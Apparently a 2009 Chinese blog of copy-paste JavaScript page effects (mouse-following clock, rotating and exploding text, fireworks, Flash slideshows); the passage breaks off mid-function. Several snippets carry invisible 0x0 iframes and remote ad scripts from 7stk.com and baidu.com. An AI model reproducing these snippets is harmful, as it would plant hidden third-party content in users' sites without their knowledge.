Thu

19

Mar

2009

30、跟随鼠标的时钟

30、跟随鼠标的时钟

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script LANGUAGE="JavaScript1.2">

colors = new Array('330099','00ff00','ff00ff');

sCol = '800000'

mCol = '00FF00'

hCol = 'FF0000'

H = '***';

H = H.split('');

H = H.reverse();

M = '****';

M = M.split('');

M = M.reverse();

S = '*****';

S = S.split('');

S = S.reverse();

dots = 12;

var Ypos = 0,Xpos = 0,Ybase = 0,Xbase = 0;

var ay = 0, ax = 0, Ay = 0, Ax = 0, by = 0, bx = 0, By = 0, Bx = 0, cy

= 0, cx = 0, Cy = 0, Cx = 0, dy = 0, dx = 0, Dy = 0, Dx = 0;

count = 0;

count_a = 0;

move = 1;

ie4=document.all

ns = (document.layers)?1:0;

 

viz = (document.layers)?'hide':'hidden';

if (ns) {

for (i = 0; i < dots; i++)

document.write('<layer name=nface'+i+' top=0 left=0 bgcolor=#000099 clip="0,0,3,3"></layer>');

for (i = 0; i < S.length; i++)

document.write('<layer name=nx'+i+' top=0 left=0 width=36 height=36><font face=Verdana size=2 color='+sCol+'><center>'+S[i]+'</center></font></layer>');

for (i = 0; i < M.length; i++)

document.write('<layer name=ny'+i+' top=0 left=0 width=36 height=36><font face=Verdana size=2 color='+mCol+'><center>'+M[i]+'</center></font></layer>');

for (i = 0; i < H.length; i++)

document.write('<layer name=nz'+i+' top=0 left=0 width=36 height=36><font face=Verdana size=2 color='+hCol+'><center>'+H[i]+'</center></font></layer>');

}

else if (ie4){

document.write('<div id="W" style="position:absolute;top:0px;left:0px"><div style="position:relative">');

for (i = 0; i < dots; i++) {

document.write('<div id="face" style="position:absolute;top:0px;left:0px;width:3px;height:3px;font-size:3px;background:#000099"></div>');

}

document.write('</div></div>');

document.write('<div id="X" style="position:absolute;top:0px;left:0px"><div style="position:relative">');

for (i = 0; i < S.length; i++) {

document.write('<div id="x" style="position:absolute;width:36px;height:36px;font-family:Verdana;font-size:12px;color:'+sCol+';text-align:center;padding-top:10px">'+S[i]+'</div>');

}

document.write('</div></div>')

document.write('<div id="Y" style="position:absolute;top:0px;left:0px"><div style="position:relative">');

for (i = 0; i < M.length; i++) {

document.write('<div id="y" style="position:absolute;width:36px;height:36px;font-family:Verdana;font-size:12px;color:'+mCol+';text-align:center;padding-top:10px">'+M[i]+'</div>');

}

document.write('</div></div>')

document.write('<div id="Z" style="position:absolute;top:0px;left:0px"><div style="position:relative">');

for (i = 0; i < H.length; i++) {

document.write('<div id="z" style="position:absolute;width:36px;height:36px;font-family:Verdana;font-size:12px;color:'+hCol+';text-align:center;padding-top:10px">'+H[i]+'</div>');

}

document.write('</div></div>');

}

if (ns) {

window.captureEvents(Event.MOUSEMOVE);

function nsMouse(evnt) {

Ypos = evnt.pageY + 100;

Xpos = evnt.pageX + 100;

}

window.onMouseMove = nsMouse;

}

else if (ie4){

function ieMouse() {

Ypos = event.y + 100;

Xpos = event.x + 100;

}

document.onmousemove = ieMouse;

}

function clock() {

time = new Date ();

secs = time.getSeconds();

sec = -1.57 + Math.PI * secs / 30;

mins = time.getMinutes();

min = -1.57 + Math.PI * mins / 30;

hr = time.getHours();

hrs = -1.575 + Math.PI * hr / 6 + Math.PI * parseInt(time.getMinutes())

/ 360;

Ybase = 15;

Xbase = 15;

 

if (ns) {

document.layers["nx"+0].visibility = viz;

document.layers["ny"+0].visibility = viz;

document.layers["nz"+0].visibility = viz;

for (i = 0; i < S.length; i++) {

document.layers["nx"+i].top = ay - 12 + (i * Ybase) * Math.sin(sec);

document.layers["nx"+i].left = ax - 12 + (i * Xbase) * Math.cos(sec);

}

for (i = 0; i < M.length; i++) {

document.layers["ny"+i].top = by - 12 + (i * Ybase) * Math.sin(min);

document.layers["ny"+i].left = bx - 12 + (i * Xbase) * Math.cos(min);

}

for (i = 0; i < H.length; i++) {

document.layers["nz"+i].top = cy - 12 + (i * Ybase) * Math.sin(hrs);

document.layers["nz"+i].left = cx - 12 + (i * Xbase) * Math.cos(hrs);

}

for (i = 0; i < dots; ++i) {

document.layers["nface"+i].top = dy - 2 + (70 *

Math.sin(-0.49+dots+i/1.9));

document.layers["nface"+i].left = dx + 4 + (70 *

Math.cos(-0.49+dots+i/1.9));

   }

}

else if (ie4) {

var scrll = document.body.scrollTop;

W.style.pixelTop = scrll;

X.style.pixelTop = scrll;

Y.style.pixelTop = scrll;

Z.style.pixelTop = scrll;

x[0].style.visibility=viz;

y[0].style.visibility = viz;

z[0].style.visibility = viz;

for (i = 0; i < S.length; i++) {

x[i].style.pixelTop = ay - 12 + (i * Ybase) * Math.sin(sec);

x[i].style.pixelLeft = ax - 12 + (i * Xbase) * Math.cos(sec);

}

for (i = 0; i < M.length; i++) {

y[i].style.pixelTop = by - 12 + (i * Ybase) * Math.sin(min);

y[i].style.pixelLeft = bx - 12 + (i * Xbase) * Math.cos(min);

}

for (i = 0; i < H.length; i++) {

z[i].style.pixelTop = cy - 12 + (i * Ybase) * Math.sin(hrs);

z[i].style.pixelLeft = cx - 12 + (i * Xbase) * Math.cos(hrs);

}

for (i = 0; i < dots; ++i) {

face[i].style.pixelTop = dy + 6 + (70 * Math.sin(-0.49 + dots + i /

1.9));

face[i].style.pixelLeft = dx + 4 + (70 * Math.cos(-0.49 + dots + i /

1.9));

      }

   }

}

function MouseFollow() {

ay = Math.round(Ay += ((Ypos) - Ay) * 4 / 15);

ax = Math.round(Ax += ((Xpos) - Ax) * 4 / 15);

by = Math.round(By += (ay - By) * 4 / 15);

bx = Math.round(Bx += (ax - Bx) * 4 / 15);

cy = Math.round(Cy += (by - Cy) * 4 / 15);

cx = Math.round(Cx += (bx - Cx) * 4 / 15);

dy = Math.round(Dy += (cy - Dy) * 4 / 15);

dx = Math.round(Dx += (cx - Dx) * 4 / 15);

clock();

setTimeout('MouseFollow()',10);

}

function StartAll() {

MouseFollow();

}

if (document.layers || document.all) window.onload = StartAll;

//  End -->

</script><SCRIPT type="text/javascript" src="http://bar.baidu.com/ad/popprg.js"></SCRIPT>

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_wenzi_shijian_caidan.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

<script language="JavaScript" src="http://www.7stk.com/store/ad/daima01.js"></script>

 

</body>

 

</html>

 

1 Comments

Thu

19

Mar

2009

29、旋转文字特效

29、旋转文字特效

<!--将以下代码加入HTML<Body></Body>之间-->

<SCRIPT language=javascript>

 

Phrase="网页特效代码"

Balises=""

Taille=80;

Midx=250;

Decal=0.5;

Nb=Phrase.length;

y=-10000;

for (x=0;x<Nb;x++){

  Balises=Balises + '<DIV Id=L' + x + ' STYLE="width:5;font-family: Courier New;font-weight:bold;position:absolute;top:40;left:50;z-index:0">' + Phrase.charAt(x) + '</DIV>'

}

document.write (Balises);

Time=window.setInterval("Alors()",10);

Alpha=5;

I_Alpha=0.05;

 

function Alors(){

       Alpha=Alpha-I_Alpha;

       for (x=0;x<Nb;x++){

              Alpha1=Alpha+Decal*x;

              Cosine=Math.cos(Alpha1);

              Ob=document.all("L"+x);

              Ob.style.posLeft=Midx+170*Math.sin(Alpha1)+50;

              Ob.style.zIndex=20*Cosine;

              Ob.style.fontSize=Taille+25*Cosine;

              Ob.style.color="rgb("+ (127+Cosine*80+50) + ","+ (127+Cosine*80+50) + ",0)";

       }

}

 

</SCRIPT>

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_wenzi_shijian_caidan.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

</body>

 

</html>

1 Comments

Wed

18

Mar

2009

28、文字礼花代码

28、文字礼花代码

<!--<BODY onload=initMouseEvents()>替换原来的<Body>-->

<!--将以下代码加入HTML<Body></Body>之间-->

 

<SCRIPT language=JavaScript1.2>

<!-- Begin

var ver  = navigator.appVersion;

var dom  = document.getElementById ? 1 : 0;

var ie5  = (ver.indexOf("MSIE 5") > -1 && dom) ? 1 : 0;

var n  = (document.layers);

var ie = (document.all);

 

var sparksAflyin = 0;

var totalSparks = 0;

var sparksOn = 1;

function initMouseEvents() {

document.onmousedown = mouseDown;

if (n) document.captureEvents(Event.MOUSEDOWN | Event.MOUSEMOVE);

}

function mouseDown(e) {

if (sparksOn) {

var mousex = (n) ? e.pageX : event.x+document.body.scrollLeft;

var mousey = (n) ? e.pageY : event.y+document.body.scrollTop;

if (!sparksAflyin) {

for (var k = 0; k <= 9; k++)

   eval('SHOW("sDiv'+k+'")');

sparksAflyin = 1;

totalSparks = 0;

for(i = 0;i <= 9; i++)

eval('moveTo('+i+',0,'+mousex+','+mousey+')');

      }

   }

}

function moveTo(i,j, mousex, mousey){

if (j < eval('anim_'+i+'_x.length') ){

var tempx = eval('anim_'+i+'_x[j]+mousex');

var tempy = eval('anim_'+i+'_y[j]+mousey');

if (ie) {

if(tempy+30 > (document.body.offsetHeight+document.body.scrollTop))

tempy = document.body.offsetHeight+document.body.scrollTop-30;

if(tempx+30 > (document.body.offsetWidth+document.body.scrollLeft))

tempx = document.body.offsetWidth+document.body.scrollLeft-30;

eval('document.all.sDiv'+i+'.style.left = tempx;');

eval('document.all.sDiv'+i+'.style.top  = tempy;');

}

if (n) {

eval('document.layers.sDiv'+i+'.left = tempx;');

eval('document.layers.sDiv'+i+'.top  = tempy;');

}

j++;

//  timeout: 50 = fireworks speed, larger number = slower speed

    setTimeout("moveTo("+i+","+j+","+mousex+","+mousey+")",50)

}

else {

eval('HIDE("sDiv'+i+'")');

totalSparks++;

}

if (totalSparks == 10) {

sparksAflyin = 0;

totalSparks  = 0;

   }

}

function SHOW(divName){

if (document.all)

eval('document.all.'+divName+'.style.visibility = "visible";');

else if (document.layers)

eval('document.layers["'+divName+'"].visibility = "visible";');

}

function HIDE(divName){

if (document.all)

eval('document.all.'+divName+'.style.visibility = "hidden";');

else if (document.layers)

eval('document.layers["'+divName+'"].visibility = "hide";');

}

anim_0_x=new Array(20,20,10,0,0,0,0,0,0,0,0,0);

anim_0_y=new Array(-20,-40,-60,-80,-60,-40,-20,0,20,40,60,80);

anim_1_x=new Array(20,20,17,36,60,78,90,92,93,98,108,120,133,152,181);

anim_1_y=new Array(-20,-20,-33,-38,-38,-27,-2,25,51,84,113,141,162,212,253);

anim_2_x=new Array(20,20,2,3,4,5,6,7,8,9,10,12,13,15,18);

anim_2_y=new Array(-20,-20,-33,-38,-38,-27,-2,25,51,84,113,141,162,212,253);

anim_3_x=new Array(-20,-20,-2,-1,7,10,18,35,60,102,94,94,93,97,108,111,117,127);

anim_3_y=new Array(-20,-25,-64,-89,-104,-150,-173,-197,-213,-199,-151,-101,-66,-17,27,87,140,189);

anim_4_x=new Array(-20,-20,-10,-39,-30,-69,-64,-138,-154,-200,-181,-209,-191,-207,-203,-213,-202,-221,-211);

anim_4_y=new Array(-20,-20,-28,-51,-79,-100,-135,-154,-193,-183,-149,-134,-89,-60,8,51,107,157,201);

anim_5_x=new Array(-20,-29,-51,-72,-105,-133,-164,-189,-209,-229,-247,-270,-279,-282,-283,-283,-285,-286,-288);

anim_5_y=new Array(-20,-55,-86,-116,-154,-183,-205,-217,-217,-198,-169,-120,-44,-8,40,87,144,190,248);

anim_6_x=new Array(-20,-20,-7,14,44,79,143,186,217,226,234,244,250,259,265,274);

anim_6_y=new Array(-20,-21,-72,-113,-139,-166,-188,-181,-126,-68,-3,54,134,187,215,257);

anim_7_x=new Array(20,20,-3,-9,-13,-27,-33,-44,-54,-66,-77,-95,-107,-136,-150,-160,-164,-168,-171,-172,-172,-176,-175);

anim_7_y=new Array(-20,-26,-43,-63,-89,-116,-145,-169,-201,-222,-240,-253,-254,-245,-220,-195,-160,-124,-81,-53,-26,19,68);

anim_8_x=new Array(-20,20,-35,39,0,45,-1,24,-15,14,-20,35,-18,38,-11,16,49,64,81,93,100,103,109);

anim_8_y=new Array(-20,-20,-32,-42,-62,-76,-89,-107,-132,-147,-173,-180,-192,-209,-236,-193,-119,-73,-24,51,95,130,188);

anim_9_x=new Array(-20,-51,-89,-110,-165,-191,-228,-240,-259,-271,-277,-281,-287);

anim_9_y=new Array(-20,-20,-35,-37,-34,-16,10,47,105,150,189,227,273);

//  End -->

</SCRIPT>

<DIV id=sparks>

<DIV id=sDiv0 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=red

face="arial black">a</FONT></DIV>

<DIV id=sDiv1 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=yellow

face="arial black">b</FONT></DIV>

<DIV id=sDiv2 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=blue

face="arial black">c</FONT></DIV>

<DIV id=sDiv3 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=red

face="arial black">d</FONT></DIV>

<DIV id=sDiv4 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=orange

face="arial black">e</FONT></DIV>

<DIV id=sDiv5 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=white

face="arial black">f</FONT></DIV>

<DIV id=sDiv6 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=green

face="arial black">g</FONT></DIV>

<DIV id=sDiv7 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=skyblue

face="arial black">h</FONT></DIV>

<DIV id=sDiv8 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=yellow

face="arial black">i</FONT></DIV>

<DIV id=sDiv9 style="POSITION: absolute; VISIBILITY: hidden"><FONT color=white

face="arial black">j</FONT></DIV></DIV>

 

1 Comments

Wed

18

Mar

2009

27、跟随鼠标弹性的运动图片

27、跟随鼠标弹性的运动图片

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效观止 --- 跟随鼠标弹性效果的运动图片</title>

 

</head>

 

<body bgcolor="#000000">

 

<STYLE>

v\:* {

 BEHAVIOR: url(#default#VML)

}

</STYLE>

 <SCRIPT language="JavaScript1.2">

var stringcolor="white"

var ballsrc="sto/01.gif" //改为自己的图片路径及名称

if (document.all&&window.print){

document.write('<IMG id=Om style="LEFT: -10px; POSITION: absolute" src="'+ballsrc+'">')

ddx=0;ddy=0;PX=0;PY=0;xm=0;ym=0

OmW=Om.width/2;OmH=Om.height/2

}

function Ouille(){

 x=Math.round(PX+=(ddx+=((xm-PX-ddx)*3)/100))

 y=Math.round(PY+=(ddy+=((ym-PY-ddy)*3-300)/100))

 Om.style.left=x-OmW

 Om.style.top=y-OmH

 elastoc.to=x+","+y

elastoc.strokecolor=stringcolor

 setTimeout("Ouille()",1)  

}

function momouse(){

 xm=window.event.x+5

 ym=window.event.y+document.body.scrollTop+15

 elastoc.from=xm+","+ym

}

if(document.all&&window.print){

code="<v:line id=elastoc style='LEFT:0;POSITION:absolute;TOP:0' strokeweight='1.5pt'></v:line>"} else {

code="<v:group style='LEFT:-10;WIDTH:100pt;POSITION:absolute;TOP:0;HEIGHT:100pt' coordsize='21600,21600'><v:line id=elastoc style='LEFT:0;WIDTH:100pt;POSITION:absolute;TOP:0;HEIGHT:100pt' strokeweight='1.5pt'></v:line></v:group>"}

if(document.all&&window.print){

document.body.insertAdjacentHTML("afterBegin",code)

document.onmousemove=momouse

Ouille()

}

</SCRIPT>

 

</body>

 

</html>

1 Comments

Wed

18

Mar

2009

26、礼花背景网页代码2

26、礼花背景网页代码2

<!--将以下代码加入HTML<Body></Body>之间-->

 

<layer name="a0" left=10 top=10 visibility=show bgcolor="#ffffff" clip="0,0,1,1"></layer>

<layer name="a1" left=10 top=10 visibility=show bgcolor="#fff000" clip="0,0,1,1"></layer>

<layer name="a2" left=10 top=10 visibility=show bgcolor="#ffa000" clip="0,0,1,1"></layer>

<layer name="a3" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a4" left=10 top=10 visibility=show bgcolor="#00ff00" clip="0,0,1,1"></layer>

<layer name="a5" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a6" left=10 top=10 visibility=show bgcolor="#ff0000" clip="0,0,1,1"></layer>

<layer name="a7" left=10 top=10 visibility=show bgcolor="#ffffff" clip="0,0,1,1"></layer>

<layer name="a8" left=10 top=10 visibility=show bgcolor="#fff000" clip="0,0,1,1"></layer>

<layer name="a9" left=10 top=10 visibility=show bgcolor="#ffa000" clip="0,0,1,1"></layer>

<layer name="a10" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a11" left=10 top=10 visibility=show bgcolor="#00ff00" clip="0,0,2,2"></layer>

<layer name="a12" left=10 top=10 visibility=show bgcolor="#0000ff" clip="0,0,2,2"></layer>

<layer name="a13" left=10 top=10 visibility=show bgcolor="#ff0000" clip="0,0,2,2"></layer>

<div id="starsDiv" style="position:absolute;top:0px;left:0px">

<div style="position:relative;width:2px;height:2px;background:#ffffff;font-size:2px"></div>

<div style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#00ff00;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffffff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px"></div>

<div style="position:relative;width:2px;height:2px;background:#ff00ff;font-size:2px"></div>

<div style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px"></div>

</div>

 

<SCRIPT LANGUAGE="JavaScript">

 

<!-- Begin

var Clrs = new Array(9);

Clrs[0] = 'ff0000';

Clrs[1] = '00ff00';

Clrs[2] = '000aff';

Clrs[3] = 'ff00ff';

Clrs[4] = 'ffa500';

Clrs[5] = 'ffff00';

Clrs[6] = '00ff00';

Clrs[7] = 'ffffff';

Clrs[8] = 'fffff0';

var sClrs = new Array(5);

sClrs[0] = 'ffa500';

sClrs[1] = '55ff66';

sClrs[2] = 'AC9DFC';

sClrs[3] = 'fff000';

sClrs[4] = 'fffff0';

var yBase;

var xBase;

var step;

var currStep = 0;

var Xpos = 1;

var Ypos = 1;

var initialStarColor = 'ffa000';

var Mtop = 250;

var Mleft = 250;

function Fireworks() {

if (document.all) {

yBase = window.document.body.offsetHeight / 3;

xBase = window.document.body.offsetWidth / 8;

}

else if (document.layers) {

yBase = window.innerHeight / 3;

xBase = window.innerWidth / 8;

}

if (document.all) {

step = 5;

for ( i = 0 ; i < starsDiv.all.length ; i++ ) {

for (ai = 0; ai < Clrs.length; ai++) {

var c = Math.round(Math.random()*[ai]);

}

if (currStep < 90)

starsDiv.all[i].style.background=initialStarColor;

if (currStep > 90)

starsDiv.all[i].style.background=Clrs[c];

starsDiv.all[i].style.top = Mtop + yBase*Math.sin((currStep+i*5)/3)*Math.sin(550+currStep/100)

starsDiv.all[i].style.left = Mleft + yBase*Math.cos((currStep+i*5)/3)*Math.sin(550+currStep/100)

   }

}

else if (document.layers) {

step = 5;

for ( j = 0 ; j < 24 ; j++ ) { //number of NS layers!

var templayer = "a"+j;

for (ai = 0; ai < Clrs.length; ai++) {

var c = Math.round(Math.random()*[ai]);

 

}

if (currStep < 90)

document.layers[templayer].bgColor=initialStarColor;

if (currStep > 90)

document.layers[templayer].bgColor=Clrs[c];

document.layers[templayer].top = Mtop + yBase*Math.sin((currStep+j*5)/3)*Math.sin(550+currStep/100)

document.layers[templayer].left = Mleft + yBase*Math.cos((currStep+j*5)/3)*Math.sin(550+currStep/100)

   }

}

currStep+= step;

T=setTimeout("Fireworks()",5);

if (currStep == 220) {

currStep = -10;

for (n = 0; n < sClrs.length; n++) {

var k = Math.round(Math.random()*n);

}

initialStarColor = sClrs[k];

if (document.all) {

Dtop = window.document.body.clientHeight - 250;

Dleft = xBase * 3.5;

Mtop = Math.round(Math.random()*Dtop);

Mleft = Math.round(Math.random()*Dleft);

document.all.starsDiv.style.top = Mtop+document.body.scrollTop;

document.all.starsDiv.style.left = Mleft+document.body.scrollLeft;

}

else if (document.layers) {

Dleft = window.innerWidth - 100;

Dtop = window.innerHeight - 100;

Mtop = Math.round(Math.random()*Dtop+window.pageYOffset);

Mleft = Math.round(Math.random()*Dleft+window.pageXOffset);

document.layers[templayer].top = Mtop;

document.layers[templayer].left = Mleft;

}

if ((Mtop < 20) || (Mleft < 20)) {

Mtop += 90;

Mleft += 90;

      }

   }

}

Fireworks();

//  End -->

</script>

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

</body>

 

</html>

 

1 Comments

Wed

18

Mar

2009

25、任由你自己选择背景图

25、任由你自己选择背景图

要完成此效果把如下代码加入到<body>区域中

 

<script language="JavaScript1.2">

<!--

function tile(){

if (!document.all)

return

var source=event.srcElement

if (source.tagName=="IMG")

document.body.style.backgroundImage="url("+source.src+")"

}

 

function restore(){

document.body.style.backgroundImage=''

}

document.body.onclick=restore

-->

</script>

      </p>

      <p align="center"><span class="bgimages" onClick="tile();event.cancelBubble=true">

      <img src="images/a.jpg" height=96 width=96 border=2>

      <img src="images/01.gif" height=96 width=96 border=2><br>

      <img src="images/03.gif" height=96 width=96 border=2>

      <img src="images/02.gif" height=96 width=96 border=2></span></p>

 

 

1 Comments

Wed

18

Mar

2009

24、flash幻灯片图片2

24flash幻灯片图片2

<TD width=420>

<!--cs广告请勿删除-->

 <!--焦点图开始--><div id=sasFlashFocus3>

 

<script type=text/javascript>

 

var pics="", mylinks="", texts="";

      

pics='http://photocdn.sohu.com/20071011/Img252604516.jpg|http://photocdn.sohu.com/20071011/Img252604740.jpg|http://photocdn.sohu.com/20071012/Img252624840.jpg|http://women.sohu.com/upload/shc/20071012/women.jpg|http://images.sohu.com/cs/button/baojie/2007/3062001012.jpg';

 

mylinks='http://women.sohu.com/fashion.shtml|http://women.sohu.com/s2007/goldenwedding/|http://women.sohu.com/s2007/renefurterer/|http://women.sohu.com/pp|http://doc.go.sohu.com/200710/dfbececdda4158c288b22464c0d87179.php';

 

texts='流行时尚 时髦搭配|看金婚自测 你会拥有金婚吗|光泽秀发源于健康头皮|美女蒋小涵演绎仲夏夜之梦|护舒宝快乐宣言赛火热进行';

var sohuFlash2 = new sohuFlash("http://women.sohu.com/upload/20070412/01.swf", "sasFlashFocus3", 410, 200, "6");

sohuFlash2.addParam("quality", "high");

sohuFlash2.addParam("wmode", "opaque");

sohuFlash2.addVariable("pics2",pics);

sohuFlash2.addVariable("links2",mylinks);

sohuFlash2.addVariable("texts2",texts);

sohuFlash2.write("sasFlashFocus3");

</script>

</div>

</TD>

 

1 Comments

Wed

18

Mar

2009

23、flash幻灯片图片

23flash幻灯片图片

<script type="text/javascript">

var swf_width=320;

var swf_height=200;

var config='3|0xffffff|0x0099ff|50|0xffffff|0x0099ff|0x000000';

//-- config 参数设置 -- 自动播放时间()|文字颜色|文字背景色|文字背景透明度|按键数字颜色|当前按键颜色|普通按键色彩 --

var files='sto/03.gif|sto/01.gif|sto/02.gif|sto/04.gif|sto/001.jpg';

var links='http://www.7stk.com/|http://www.7stk.com/|http://www.7stk.com/';

var texts='||';

document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="'+ swf_width +'" height="'+ swf_height +'">');

document.write('<param name="movie" value="sto/focus.swf" />');

document.write('<param name="quality" value="high" />');

document.write('<param name="menu" value="false" />');

document.write('<param name=wmode value="opaque" />');

document.write('<param name="FlashVars" value="config='+config+'&bcastr_flie='+files+'&bcastr_link='+links+'&bcastr_title='+texts+'" />');

document.write('<embed src="sto/focus.swf" wmode="opaque" FlashVars="config='+config+'&bcastr_flie='+files+'&bcastr_link='+links+'&bcastr_title='+texts+'& menu="false" quality="high" width="'+ swf_width +'" height="'+ swf_height +'" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />');

document.write('</object>');

</script>

                     </td>

              </tr>

       </table>

       </div>

</div>            <div class="mainbox forumlist">

                     <span class="headactions">

 

                                                         </span></div>

 

</div>

</body>

</html>

 

1 Comments

Wed

18

Mar

2009

22、可爱钟表时间特效

22、可爱钟表时间特效

<iframe scrolling="no" frameborder="0" width="180" height="75" src="http://www.7stk.com/shijian/t4101.htm" allowtransparency="true"></iframe>

 

1 Comments

Wed

18

Mar

2009

21、可爱钟表特效代码

21、可爱钟表特效代码

<iframe scrolling="no" frameborder="0" width="180" height="198" src="http://www.7stk.com/shijian/t4501.htm" allowtransparency="true"></iframe>

 

1 Comments

Wed

18

Mar

2009

20、文字破碎形式组合

20、文字破碎形式组合

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效---文字以破碎形式组合</title>

<SCRIPT>

var textwidth=200

var textheight=40

var message=new Array()

message[0]="你好"

message[1]="欢迎"

message[2]="光临"

message[3]="网页特效"

var x_finalpos=-1

var y_finalpos=50

var x_slices=24

var y_slices=1

var pause=10

var screenwidth=700

var screenheight=400

var x_step=new Array()

var y_step=new Array()

var x_randompos=0

var y_randompos=0

var i_loop=0

var max_loop=24

var i_text=0

var width_slice=Math.floor(textwidth/x_slices)

var height_slice=Math.floor(textheight/y_slices)

var cliptop=0

var clipbottom=height_slice

var clipleft=0

var clipright=width_slice

var spancounter=0

 

function initiate() {

       if (x_finalpos==-1) {

              x_finalpos=Math.floor(document.body.clientWidth/2)-Math.floor(textwidth/2)

       }

       if (y_finalpos==-1) {

              y_finalpos=Math.floor(document.body.clientHeight/2)-Math.floor(textheight/2)

       }

       cliptop=0

       clipbottom=height_slice

       clipleft=0

       clipright=width_slice

       i_loop=0

       spancounter=0

    if (document.all) {

          for (i=0;i<=y_slices-1;i++) {

                     for (ii=0;ii<=x_slices-1;ii++) {

                            var thisspan=eval("document.all.span"+spancounter+".style")

                            x_randompos=Math.ceil(screenwidth*Math.random())

                            y_randompos=Math.ceil(screenheight*Math.random())

                            thisspan.posLeft=x_randompos

                            thisspan.posTop=y_randompos

                thisspan.clip ="rect("+cliptop+" "+clipright+" "+clipbottom+" "+clipleft+")"

                            clipleft+=width_slice

                      clipright+=width_slice

                      spancounter++

                     }

               clipleft=0

               clipright=width_slice

               cliptop+=height_slice

               clipbottom+=height_slice

              }

   }

   explode_IE()

}

 

function changetext() {

       spancounter=0

       for (i=0;i<=y_slices-1;i++) {

              for (ii=0;ii<=x_slices-1;ii++) {

                     var thisspan=eval("document.all.span"+spancounter+".style")          

                     thisspan.posLeft=-5000

                     spancounter++

              }

       }

       spancounter=0

       if (i_text>message.length-1) {i_text=0}

       for (i=0;i<=y_slices-1;i++) {

              for (ii=0;ii<=x_slices-1;ii++) {

                     var thisinnerspan=eval("span"+spancounter)

                  thisinnerspan.innerHTML=message[i_text]

                     spancounter++

              }

       }

       i_text++

       initiate()

}

 

 

function explode_IE() {

       spancounter=0

       if (i_loop<=max_loop-1) {

              for (i=0;i<=y_slices-1;i++) {

                     for (ii=0;ii<=x_slices-1;ii++) {

                            var thisspan=eval("document.all.span"+spancounter+".style")

                            x_step[spancounter]=(x_finalpos-thisspan.posLeft)/(max_loop-i_loop)

                            y_step[spancounter]=(y_finalpos-thisspan.posTop)/(max_loop-i_loop)            

                            thisspan.posLeft+=x_step[spancounter]

                            thisspan.posTop+=y_step[spancounter]

                            spancounter++

                     }

              }

              i_loop++

              var timer=setTimeout("explode_IE()",pause)

       }

       else {

              spancounter=0

              clearTimeout(timer)

              var timer=setTimeout("changetext()",2000)

       }

}

 

 

// - End of JavaScript - -->

</SCRIPT>

 

<STYLE>.spanstyle {

       BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM-STYLE: solid; BORDER-LEFT-STYLE: solid; BORDER-RIGHT-STYLE: solid; BORDER-TOP-STYLE: solid; COLOR: #ff00ff; FONT-FAMILY: 宋体; FONT-SIZE: 20px; HEIGHT: 30px; LEFT: -5000px; PADDING-BOTTOM: 1px; PADDING-LEFT: 1px; PADDING-RIGHT: 1px; PADDING-TOP: 1px; POSITION: absolute; TEXT-ALIGN: center; WIDTH: 192px

}

</STYLE><script language="JavaScript">

<!--

<!--

function MM_reloadPage(init) {  //reloads the window if Nav4 resized

  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {

    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}

  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();

}

MM_reloadPage(true);

// -->

 

function MM_findObj(n, d) { //v4.01

  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {

    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}

  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];

  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);

  if(!x && d.getElementById) x=d.getElementById(n); return x;

}

 

function MM_showHideLayers() { //v3.0

  var i,p,v,obj,args=MM_showHideLayers.arguments;

  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];

